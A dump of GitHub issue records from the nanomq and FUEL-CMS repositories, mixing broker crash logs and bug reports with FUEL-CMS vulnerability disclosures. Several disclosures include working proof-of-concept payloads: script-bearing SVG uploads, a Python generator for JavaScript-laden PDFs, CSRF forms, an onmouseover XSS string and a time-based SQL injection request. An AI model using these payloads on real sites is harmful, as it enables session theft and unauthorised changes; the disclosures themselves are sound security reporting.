[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_node:597) topic is: , node->topic is:
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_node:597) topic is: bench, node->topic is: bench
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_node:621) searching no hashtag
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_node:621) searching no hashtag
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_node:597) topic is: bench, node->topic is: bench
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_node:597) topic is: 9999, node->topic is: 10000
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_node:621) searching no hashtag
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_node:602) searching unqual
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_node:597) topic is: 10000, node->topic is: 10000
Sat Nov 21 10:39:55 2020 sub_ctx_handle: client count [0]
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_node:621) searching no hashtag
Sat Nov 21 10:39:55 2020 sub_ctx_handle: client count [1]
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_retain_msg:810) search entry
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_retain_msg:812)
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_retain_msg:865) check normal
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_retain_msg:810) search entry
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_retain_msg:896) go deep
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_retain_msg:812)
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_retain_msg:812) bench
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_retain_msg:865) check normal
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_retain_msg:865) check normal
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_retain_msg:896) go deep
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_retain_msg:896) go deep
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_retain_msg:812) bench
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_retain_msg:812) 9999
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_retain_msg:865) check normal
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_retain_msg:865) check normal
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_retain_msg:896) go deep
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_retain_msg:870) not find retain msg
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_retain_msg:812) 10000
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_retain_msg:865) check normal
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_retain_msg:883) not find retain msg
-------------------DB_TREE---------------------
TOPIC | HASHTAG&PLUS | CLIENTID | FATHER_NODE
-----------------------------------------------
"" 00 -- --
----------------------------------------------
Segmentation fault (core dumped)
| DB_TREE nanolib crashed | https://api.github.com/repos/nanomq/nanomq/issues/17/comments | 3 | 2020-11-21T03:06:16Z | 2020-12-16T09:00:30Z | https://github.com/nanomq/nanomq/issues/17 | 747,909,935 | 17 |
[
"emqx",
"nanomq"
] | About supporting Clean_session
Expose a interface to broker.c due to there are many operations need to do | About supporting Clean_session | https://api.github.com/repos/nanomq/nanomq/issues/13/comments | 1 | 2020-10-23T09:03:41Z | 2021-06-03T10:31:38Z | https://github.com/nanomq/nanomq/issues/13 | 728,044,778 | 13 |
[
"emqx",
"nanomq"
] | There is a change between content of conn_param in tcp.c and broker.c.
When testing MQTTv5 in concurrency, print the version when a connect is comming.
in tcp.c the version is always 5, but when print in broker.c it is not certain. | The content of conn_param is different between tcp and broker when concurrency | https://api.github.com/repos/nanomq/nanomq/issues/12/comments | 1 | 2020-10-23T08:52:37Z | 2020-11-21T03:16:31Z | https://github.com/nanomq/nanomq/issues/12 | 728,037,151 | 12 |
[
"emqx",
"nanomq"
] | *** Error in `nanomq/nanomq': malloc(): memory corruption (fast): 0x00007f73ac200710 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f73b8b4a7f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x82679)[0x7f73b8b55679]
/lib/x86_64-linux-gnu/libc.so.6(__libc_calloc+0xba)[0x7f73b8b57e3a]
nanomq/nanomq(nni_msg_append+0xcf)[0x428d2f]
nanomq/nanomq(encode_pub_message+0x1b1)[0x417671]
nanomq/nanomq(server_cb+0x101)[0x419171]
nanomq/nanomq[0x42f911]
nanomq/nanomq[0x43011a]
nanomq/nanomq[0x432722]
/lib/x86_64-linux-gnu/libpthread.so.0(+0x76ba)[0x7f73b949f6ba]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x6d)[0x7f73b8bda4dd]
======= Memory map: ========
00400000-0046a000 r-xp 00000000 103:09 2384663 /projects/nanomq-nng/build/nanomq/nanomq
00669000-0066a000 r--p 00069000 103:09 2384663 /projects/nanomq-nng/build/nanomq/nanomq
0066a000-0066b000 rw-p 0006a000 103:09 2384663 /projects/nanomq-nng/build/nanomq/nanomq
0066b000-0066c000 rw-p 00000000 00:00 0
01f66000-01fb9000 rw-p 00000000 00:00 0 [heap]
7f73a0000000-7f73a1449000 rw-p 00000000 00:00 0
7f73a1449000-7f73a4000000 ---p 00000000 00:00 0
7f73a4000000-7f73a4021000 rw-p 00000000 00:00 0
7f73a4021000-7f73a8000000 ---p 00000000 00:00 0
7f73a8000000-7f73a824a000 rw-p 00000000 00:00 0
7f73a824a000-7f73ac000000 ---p 00000000 00:00 0
7f73ac000000-7f73ad4d5000 rw-p 00000000 00:00 0
7f73ad4d5000-7f73b0000000 ---p 00000000 00:00 0
7f73b0000000-7f73b0021000 rw-p 00000000 00:00 0
7f73b0021000-7f73b4000000 ---p 00000000 00:00 0
7f73b4db1000-7f73b4dbc000 r-xp 00000000 103:09 1989707 /lib/x86_64-linux-gnu/libnss_files-2.23.so
7f73b4dbc000-7f73b4fbb000 ---p 0000b000 103:09 1989707 /lib/x86_64-linux-gnu/libnss_files-2.23.so
7f73b4fbb000-7f73b4fbc000 r--p 0000a000 103:09 1989707 /lib/x86_64-linux-gnu/libnss_files-2.23.so
7f73b4fbc000-7f73b4fbd000 rw-p 0000b000 103:09 1989707 /lib/x86_64-linux-gnu/libnss_files-2.23.so
7f73b4fbd000-7f73b4fc3000 rw-p 00000000 00:00 0
7f73b4fc3000-7f73b4fc4000 ---p 00000000 00:00 0
7f73b4fc4000-7f73b57c4000 rw-p 00000000 00:00 0
7f73b57c4000-7f73b57c5000 ---p 00000000 00:00 0
7f73b57c5000-7f73b5fc5000 rw-p 00000000 00:00 0
7f73b5fc5000-7f73b5fc6000 ---p 00000000 00:00 0
7f73b5fc6000-7f73b67c6000 rw-p 00000000 00:00 0
7f73b67c6000-7f73b67c7000 ---p 00000000 00:00 0
7f73b67c7000-7f73b6fc7000 rw-p 00000000 00:00 0
7f73b6fc7000-7f73b6fc8000 ---p 00000000 00:00 0
7f73b6fc8000-7f73b77c8000 rw-p 00000000 00:00 0
7f73b77c8000-7f73b77c9000 ---p 00000000 00:00 0
7f73b77c9000-7f73b7fc9000 rw-p 00000000 00:00 0
7f73b7fc9000-7f73b7fca000 ---p 00000000 00:00 0
7f73b7fca000-7f73b87ca000 rw-p 00000000 00:00 0
7f73b87ca000-7f73b88d2000 r-xp 00000000 103:09 1989698 /lib/x86_64-linux-gnu/libm-2.23.so
7f73b88d2000-7f73b8ad1000 ---p 00108000 103:09 1989698 /lib/x86_64-linux-gnu/libm-2.23.so
7f73b8ad1000-7f73b8ad2000 r--p 00107000 103:09 1989698 /lib/x86_64-linux-gnu/libm-2.23.so
7f73b8ad2000-7f73b8ad3000 rw-p 00108000 103:09 1989698 /lib/x86_64-linux-gnu/libm-2.23.so
7f73b8ad3000-7f73b8c93000 r-xp 00000000 103:09 1989694 /lib/x86_64-linux-gnu/libc-2.23.so
7f73b8c93000-7f73b8e93000 ---p 001c0000 103:09 1989694 /lib/x86_64-linux-gnu/libc-2.23.so
7f73b8e93000-7f73b8e97000 r--p 001c0000 103:09 1989694 /lib/x86_64-linux-gnu/libc-2.23.so
7f73b8e97000-7f73b8e99000 rw-p 001c4000 103:09 1989694 /lib/x86_64-linux-gnu/libc-2.23.so
7f73b8e99000-7f73b8e9d000 rw-p 00000000 00:00 0
7f73b8e9d000-7f73b8eb4000 r-xp 00000000 103:09 1966282 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f73b8eb4000-7f73b90b3000 ---p 00017000 103:09 1966282 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f73b90b3000-7f73b90b4000 r--p 00016000 103:09 1966282 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f73b90b4000-7f73b90b5000 rw-p 00017000 103:09 1966282 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f73b90b5000-7f73b9288000 r-xp 00000000 103:09 3015054 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
7f73b9288000-7f73b9487000 ---p 001d3000 103:09 3015054 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
7f73b9487000-7f73b9492000 r--p 001d2000 103:09 3015054 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
7f73b9492000-7f73b9495000 rw-p 001dd000 103:09 3015054 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
7f73b9495000-7f73b9498000 rw-p 00000000 00:00 0
7f73b9498000-7f73b94b0000 r-xp 00000000 103:09 1989695 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f73b94b0000-7f73b96af000 ---p 00018000 103:09 1989695 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f73b96af000-7f73b96b0000 r--p 00017000 103:09 1989695 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f73b96b0000-7f73b96b1000 rw-p 00018000 103:09 1989695 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f73b96b1000-7f73b96b5000 rw-p 00000000 00:00 0
7f73b96b5000-7f73b96bc000 r-xp 00000000 103:09 1989714 /lib/x86_64-linux-gnu/librt-2.23.so
7f73b96bc000-7f73b98bb000 ---p 00007000 103:09 1989714 /lib/x86_64-linux-gnu/librt-2.23.so
7f73b98bb000-7f73b98bc000 r--p 00006000 103:09 1989714 /lib/x86_64-linux-gnu/librt-2.23.so
7f73b98bc000-7f73b98bd000 rw-p 00007000 103:09 1989714 /lib/x86_64-linux-gnu/librt-2.23.so
7f73b98bd000-7f73b98e3000 r-xp 00000000 103:09 1989705 /lib/x86_64-linux-gnu/ld-2.23.so
7f73b9994000-7f73b9a56000 rw-p 00000000 00:00 0
7f73b9ab8000-7f73b9abf000 rw-p 00000000 00:00 0
7f73b9ae1000-7f73b9ae2000 rw-p 00000000 00:00 0
7f73b9ae2000-7f73b9ae3000 r--p 00025000 103:09 1989705 /lib/x86_64-linux-gnu/ld-2.23.so
7f73b9ae3000-7f73b9ae4000 rw-p 00026000 103:09 1989705 /lib/x86_64-linux-gnu/ld-2.23.so
7f73b9ae4000-7f73b9ae5000 rw-p 00000000 00:00 0
7ffff6fad000-7ffff6fce000 rw-p 00000000 00:00 0 [stack]
7ffff6fec000-7ffff6fee000 r--p 00000000 00:00 0 [vvar]
7ffff6fee000-7ffff6ff0000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
Aborted
| Broker crashed when massive payload got aborted, but broker still trying to pub msgs. | https://api.github.com/repos/nanomq/nanomq/issues/10/comments | 0 | 2020-09-15T09:23:07Z | 2021-01-04T03:25:08Z | https://github.com/nanomq/nanomq/issues/10 | 701,764,154 | 10 |
[
"daylightstudio",
"FUEL-CMS"
] | A stored cross-site scripting (XSS) vulnerability exists in FUEL-CMS-1.5.1 that allows an authenticated user authorized to upload a malicious .svg file which acts as a stored XSS payload. If this stored XSS payload is triggered by an administrator it will trigger a XSS attack.
1. Log in and go to the Assets page
2. Prepare an xss.svg file with the following contents
```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400
"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
```
3. Upload the xss.svg file
4. Access the uploaded files
| A stored XSS vulnerability exists in FUEL-CMS-1.5.2 | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/608/comments | 0 | 2024-03-29T08:40:14Z | 2024-03-29T08:40:14Z | https://github.com/daylightstudio/FUEL-CMS/issues/608 | 2,214,933,198 | 608 |
[
"daylightstudio",
"FUEL-CMS"
] | On the Navigation page, it has been identified that attackers are capable of executing XSS injections using some payloads.
POC:
1. After logging in, searching on the Navigation page.
2. A payload can be inserted after the group_id parameter, for example: payload -> "onmouseover="alert('xss')".
3. When the attacker moves the mouse over the Create button, it triggers an XSS attack.
| Reflected Cross-Site Scripting(XSS) in Navigation | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/607/comments | 1 | 2024-02-01T09:14:02Z | 2024-02-01T21:54:48Z | https://github.com/daylightstudio/FUEL-CMS/issues/607 | 2,111,967,808 | 607 |
[
"daylightstudio",
"FUEL-CMS"
] | login required.
fuel/modules/fuel/controllers/Blocks.php
line 64 import_view method starts
Line 70 receives the id parameter of the post request and enters the import method
fuel/modules/fuel/libraries/Fuel_blocks.php
Then enter the find_by_key method on line 307
Because the find_by_key method does not exist, enter the __call method of the current object
Enter line 4421 of MY_Model.php, pass parameters to $this->db->where() method
At this time, the external input string is spliced into the SQL statement through the $this->db->where() method, But at this time, the external input will be surrounded by single quotes because of codeigniter's safe processing of the where method, so the injection has not yet been caused..
Until line 4450, the user's external input is stored in the $other_args array at this time, and has not been processed safely
Enter the $this->db->order_by() method, at this time the external input is spliced into the sql statement again, and there is no single quotation mark included
Finally, the $this->db->get() method executes the database command, causing sql injection
sqlmap:
| FUEL CMS 1.5.2 allows SQL Injection via parameter 'id' in fuel/modules/fuel/controllers/Blocks.php | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/604/comments | 2 | 2023-05-12T02:24:19Z | 2023-05-12T15:50:17Z | https://github.com/daylightstudio/FUEL-CMS/issues/604 | 1,706,820,945 | 604 |
[
"daylightstudio",
"FUEL-CMS"
] | I have followed everything to setup Fuel and after everything done I want to goto localhost/fuel/fuel/ as it directs me and a 404 appears Not found. When I look into the index.php it says this: <?php header('Location: start'); exit();
No idea where to look for start as a location, so I got stuck even before I can begin.
Some pointers would be nice, thank you. | cannot get to the admin page | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/602/comments | 4 | 2023-02-19T10:50:14Z | 2023-02-22T18:49:13Z | https://github.com/daylightstudio/FUEL-CMS/issues/602 | 1,590,642,412 | 602 |
[
"daylightstudio",
"FUEL-CMS"
] | Dear team,
Please help me, when i create page from fuel admin (lastest version) successfull. But, after view page body content have remove some html tag (input tag, button tag, i tag html icon...). How to create page content include input tag, button tag, i tag html icon ... from admin page ?
Thanks team | Prolem when create page from fuel admin page | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/601/comments | 15 | 2022-12-09T07:18:29Z | 2022-12-13T16:40:32Z | https://github.com/daylightstudio/FUEL-CMS/issues/601 | 1,486,200,198 | 601 |
[
"daylightstudio",
"FUEL-CMS"
] | On https://www.getfuelcms.com/support:
<img width="815" alt="image" src="https://user-images.githubusercontent.com/65950/182012673-867cbe7e-9ec9-4a9b-9e2c-b0107774a559.png">
This link for `Get in touch` leads to https://www.getfuelcms.com/forums/categories/feature-requests which is 404 at the moment.
<img width="738" alt="image" src="https://user-images.githubusercontent.com/65950/182012767-65a2f9f0-9d9d-4cba-9ba2-b8f682aa4dc4.png">
The correct link seems to be https://forum.getfuelcms.com/categories/feature-requests
Maybe a link to either https://github.com/daylightstudio/FUEL-CMS/issues or https://github.com/daylightstudio/FUEL-CMS/pulls would be helpful as well.It's a bit odd that the `GitHub Pull Request` link points to a GitHub doc about Pull Requests. I'd figure someone who might click that link would know what a Pull Request is most likely. | Support page link to "Get in touch" leads to 404 | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/600/comments | 0 | 2022-07-31T06:12:01Z | 2022-07-31T06:12:23Z | https://github.com/daylightstudio/FUEL-CMS/issues/600 | 1,323,372,700 | 600 |
[
"daylightstudio",
"FUEL-CMS"
] | It would be nice to have a docker container with a docker compose to deploy the application easily.
## Related discussions
- https://forum.getfuelcms.com/discussion/3168/setting-fuel-cms-up-in-docker | Docker | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/599/comments | 0 | 2022-07-14T17:55:44Z | 2022-07-14T17:55:44Z | https://github.com/daylightstudio/FUEL-CMS/issues/599 | 1,305,117,189 | 599 |
[
"daylightstudio",
"FUEL-CMS"
] | Hello 👋
I run a security community that finds and fixes vulnerabilities in OSS. A researcher (@ambientl) has found a potential issue, which I would be eager to share with you.
Could you add a `SECURITY.md` file with an e-mail address for me to send further details to? GitHub [recommends](https://docs.github.com/en/code-security/getting-started/adding-a-security-policy-to-your-repository) a security policy to ensure issues are responsibly disclosed, and it would help direct researchers in the future.
Looking forward to hearing from you 👍
(cc @huntr-helper) | Create SECURITY.md | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/596/comments | 1 | 2022-06-17T18:03:30Z | 2022-06-17T18:32:41Z | https://github.com/daylightstudio/FUEL-CMS/issues/596 | 1,275,324,558 | 596 |
[
"daylightstudio",
"FUEL-CMS"
] | A stored cross-site scripting (XSS) vulnerability exists in FUEL-CMS-1.5.1 that allows an authenticated user authorized to upload a malicious .pdf file which acts as a stored XSS payload. If this stored XSS payload is triggered by an administrator it will trigger a XSS attack.
1、login as admin .in the Assets page
2、Use the following PoC to generate malicious files :
```
# FROM https://github.com/osnr/horrifying-pdf-experiments
import sys
from pdfrw import PdfWriter
from pdfrw.objects.pdfname import PdfName
from pdfrw.objects.pdfstring import PdfString
from pdfrw.objects.pdfdict import PdfDict
from pdfrw.objects.pdfarray import PdfArray
def make_js_action(js):
action = PdfDict()
action.S = PdfName.JavaScript
action.JS = js
return action
def make_field(name, x, y, width, height, r, g, b, value=""):
annot = PdfDict()
annot.Type = PdfName.Annot
annot.Subtype = PdfName.Widget
annot.FT = PdfName.Tx
annot.Ff = 2
annot.Rect = PdfArray([x, y, x + width, y + height])
annot.MaxLen = 160
annot.T = PdfString.encode(name)
annot.V = PdfString.encode(value)
# Default appearance stream: can be arbitrary PDF XObject or
# something. Very general.
annot.AP = PdfDict()
ap = annot.AP.N = PdfDict()
ap.Type = PdfName.XObject
ap.Subtype = PdfName.Form
ap.FormType = 1
ap.BBox = PdfArray([0, 0, width, height])
ap.Matrix = PdfArray([1.0, 0.0, 0.0, 1.0, 0.0, 0.0])
ap.stream = """
%f %f %f rg
0.0 0.0 %f %f re f
""" % (r, g, b, width, height)
# It took me a while to figure this out. See PDF spec:
# https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=641
# Basically, the appearance stream we just specified doesn't
# follow the field rect if it gets changed in JS (at least not in
# Chrome).
# But this simple MK field here, with border/color
# characteristics, _does_ follow those movements and resizes, so
# we can get moving colored rectangles this way.
annot.MK = PdfDict()
annot.MK.BG = PdfArray([r, g, b])
return annot
def make_page(fields, script):
page = PdfDict()
page.Type = PdfName.Page
page.Resources = PdfDict()
page.Resources.Font = PdfDict()
page.Resources.Font.F1 = PdfDict()
page.Resources.Font.F1.Type = PdfName.Font
page.Resources.Font.F1.Subtype = PdfName.Type1
page.Resources.Font.F1.BaseFont = PdfName.Helvetica
page.MediaBox = PdfArray([0, 0, 612, 792])
page.Contents = PdfDict()
page.Contents.stream = """
BT
/F1 24 Tf
ET
"""
annots = fields
page.AA = PdfDict()
# You probably should just wrap each JS action with a try/catch,
# because Chrome does no error reporting or even logging otherwise;
# you just get a silent failure.
page.AA.O = make_js_action("""
try {
%s
} catch (e) {
app.alert(e.message);
}
""" % (script))
page.Annots = PdfArray(annots)
return page
if len(sys.argv) > 1:
js_file = open(sys.argv[1], 'r')
fields = []
for line in js_file:
if not line.startswith('/// '): break
pieces = line.split()
params = [pieces[1]] + [float(token) for token in pieces[2:]]
fields.append(make_field(*params))
js_file.seek(0)
out = PdfWriter()
out.addpage(make_page(fields, js_file.read()))
out.write('result.pdf')
```
3、back to Assets then we can see xss-cookie.svg have been upload:
4、when user click the xss.pdf it will trigger a XSS attack
| A stored cross-site scripting (XSS) vulnerability exists in FUEL-CMS-1.5.1 | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/595/comments | 0 | 2022-04-02T09:29:18Z | 2022-04-02T09:38:57Z | https://github.com/daylightstudio/FUEL-CMS/issues/595 | 1,190,577,090 | 595 |
[
"daylightstudio",
"FUEL-CMS"
] | I consistently get the `The action you have requested is not allowed.` error when logging into the Fuel app in a fresh install
1. Pull down master or develop branch (or 1.5.1 tag)
2. Set `admin_enabled` to TRUE in MY_Fuel.php
3. Configure database.php
4. Set `csrf_protection` to TRUE in config.php
5. Log into admin
6. Get the `The action you have requested is not allowed.` error
The problem seems to be associated with the value of `csrf_token_name` having '_FUEL' appended to it (as per the file [Fuel_base_controller.php](https://github.com/daylightstudio/FUEL-CMS/blob/ff2608ce3bad33f6cca782b4914482ee9214f52c/fuel/modules/fuel/libraries/Fuel_base_controller.php#L135)) before being used as a hidden value in the login form, but then this doesn't match the value of the in the $_COOKIE array (which doesn't have '_FUEL' appended)
| Can't login to Fuel 1.5.1 when CSRF is enabled | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/594/comments | 1 | 2022-03-17T07:58:27Z | 2022-03-20T08:37:03Z | https://github.com/daylightstudio/FUEL-CMS/issues/594 | 1,172,047,533 | 594 |
[
"daylightstudio",
"FUEL-CMS"
] | A HTML Injection issue is affecting the application.
STEP 1:
STEP 2:
| HTML Injection Issue | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/593/comments | 2 | 2022-03-13T16:39:35Z | 2022-07-30T22:42:59Z | https://github.com/daylightstudio/FUEL-CMS/issues/593 | 1,167,630,562 | 593 |
[
"daylightstudio",
"FUEL-CMS"
] | Hello,
I'm not sure if this is a bug or there's something missing in the current fuel implementation, but I realized that in the upload method of modules/fuel/libraries/Fuel_assets.php you're adding an error if there isn't encryption_key in the settings.
```php
public function upload($params = array())
{
$this->CI->load->library('upload');
$this->CI->load->library('image_lib');
$this->CI->load->library('encryption');
if (!config_item('encryption_key'))
{
$this->_add_error(lang('assets_encryption_key_missing'));
}
// More stuff
}
```
However, this doesn't seem to be used in the method itself, and arguably doesn't make sense if you don't plan on using an encryption key (which seems intended solely for use by the Encrypt / Encryption library).
Best regards. | Is encryption_key used in any way in Fuel_assets::upload method? | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/592/comments | 2 | 2022-03-07T15:42:24Z | 2022-03-08T08:52:34Z | https://github.com/daylightstudio/FUEL-CMS/issues/592 | 1,161,586,371 | 592 |
[
"daylightstudio",
"FUEL-CMS"
] | Windows defender is seeing this file as Backdoor:Win32/Dirtelti!ml
Not sure what part of the PHP code is causing it, but it's problematic. | Windows Defender Threat in MY_string_helper.php | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/590/comments | 1 | 2022-01-05T16:28:04Z | 2022-01-06T04:55:56Z | https://github.com/daylightstudio/FUEL-CMS/issues/590 | 1,094,530,668 | 590 |
[
"daylightstudio",
"FUEL-CMS"
] | A stored cross-site scripting (XSS) vulnerability exists in FUEL-CMS-1.5.1 that allows an authenticated user authorized to upload a malicious .svg file which acts as a stored XSS payload. If this stored XSS payload is triggered by an administrator it will trigger a XSS attack
1. login as admin .in the Assets page
2. upload the malicious svg. the content of xss-cookie.svg :
```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400
"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
```
3. back to Assets then wo can see xss-cookie.svg have been upload:
4. when user click the xss-cookie.svg it will trigger a XSS attack
| A stored cross-site scripting (XSS) vulnerability exists in FUEL-CMS-1.5.1 | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/589/comments | 0 | 2021-11-29T15:19:12Z | 2021-11-29T15:19:12Z | https://github.com/daylightstudio/FUEL-CMS/issues/589 | 1,066,165,915 | 589 |
[
"daylightstudio",
"FUEL-CMS"
] | CSRF POC:
Affected Module
| CSRF in Site Variables in Fuel CMS 1.5.0 | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/588/comments | 0 | 2021-11-18T15:12:45Z | 2021-11-18T15:12:45Z | https://github.com/daylightstudio/FUEL-CMS/issues/588 | 1,057,471,072 | 588 |
[
"daylightstudio",
"FUEL-CMS"
] | <html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/FUEL-CMS/fuel/sitevariables/delete/4" method="POST" enctype="multipart/form-data">
<input type="hidden" name="id" value="4" />
<input type="hidden" name="fuel_inline" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
| Fuel CMS 1.5.0 contains a CSRF vulnerability on Site Variables Module | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/587/comments | 0 | 2021-11-18T14:55:22Z | 2021-11-18T14:59:23Z | https://github.com/daylightstudio/FUEL-CMS/issues/587 | 1,057,451,386 | 587 |
[
"daylightstudio",
"FUEL-CMS"
] | ###
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/FUEL-CMS/fuel/sitevariables/delete/4" method="POST" enctype="multipart/form-data">
<input type="hidden" name="id" value="4" />
<input type="hidden" name="fuel_inline" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
###3 | Fuel CMS 1.5.0 contains a CSRF Vulnerability on Site Variables Module | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/586/comments | 0 | 2021-11-18T14:53:54Z | 2021-11-18T14:54:39Z | https://github.com/daylightstudio/FUEL-CMS/issues/586 | 1,057,449,712 | 586 |
[
"daylightstudio",
"FUEL-CMS"
] | Hi, the forum is still active?
I have an account from 2012, but I lost the password and I can't get an email to reset it.
Then I created a new account, but now I have "You need to confirm your email address. Click here to resend the confirmation email." on the forum's page, with no success to activate the new account.
Is there any way to fix this?
Thanks | forum.getfuelcms.com email support not working | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/585/comments | 4 | 2021-08-15T02:38:16Z | 2021-08-21T12:37:09Z | https://github.com/daylightstudio/FUEL-CMS/issues/585 | 971,035,385 | 585 |
[
"daylightstudio",
"FUEL-CMS"
] | Because my mailbox function is not configured, it cannot be fully demonstrated. There is a CSRF vulnerability in the password modification page.
http://website/fuel/index.php/fuel/login/pwd_reset
csrf POC:
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.255.130/fuel/index.php/fuel/login/pwd_reset" method="POST">
<input type="hidden" name="email" value="1231@1.com" />
<input type="hidden" name="Submit" value="Submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
| FUEL CMS 1.5.0 contains a cross-site request forgery (CSRF) vulnerability | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/584/comments | 1 | 2021-08-10T01:37:40Z | 2021-08-19T02:06:08Z | https://github.com/daylightstudio/FUEL-CMS/issues/584 | 964,516,513 | 584 |
[
"daylightstudio",
"FUEL-CMS"
] | 
```
GET /fuel/index.php/fuel/pages/items?search=Search&col=(select(0)from(select(sleep(0)))v)&fuel_inline=0&layout=&limit=50&offset=0&order=asc&published=yes&search_term=&view_type=list HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:80/fuel/index.php/fuel
Cookie: ci_session=fvqjtnd6p937te8cfirj5el5794sqc98; fuel_dccdd4a05cd593ba3584dfaa321e5caf=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_dccdd4a05cd593ba3584dfaa321e5caf=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%257D; fuel_dccdd4a05cd593ba3584dfaa321e5caf=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_dccdd4a05cd593ba3584dfaa321e5caf=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%257D; fuel_bar=%257B%2522show_editable_areas%2522%253A%25221%2522%257D
Host: 127.0.0.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```
payload: col=(select(0)from(select(sleep(0)))v)
You can see that when you modify the sleep value, the response has a significant delay.
| FUEL CMS 1.5.0 allows SQL Injection via parameter 'col' in /fuel/index.php/fuel/pages/items | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/583/comments | 0 | 2021-08-10T01:26:43Z | 2021-08-10T01:27:55Z | https://github.com/daylightstudio/FUEL-CMS/issues/583 | 964,512,685 | 583 |
[
"daylightstudio",
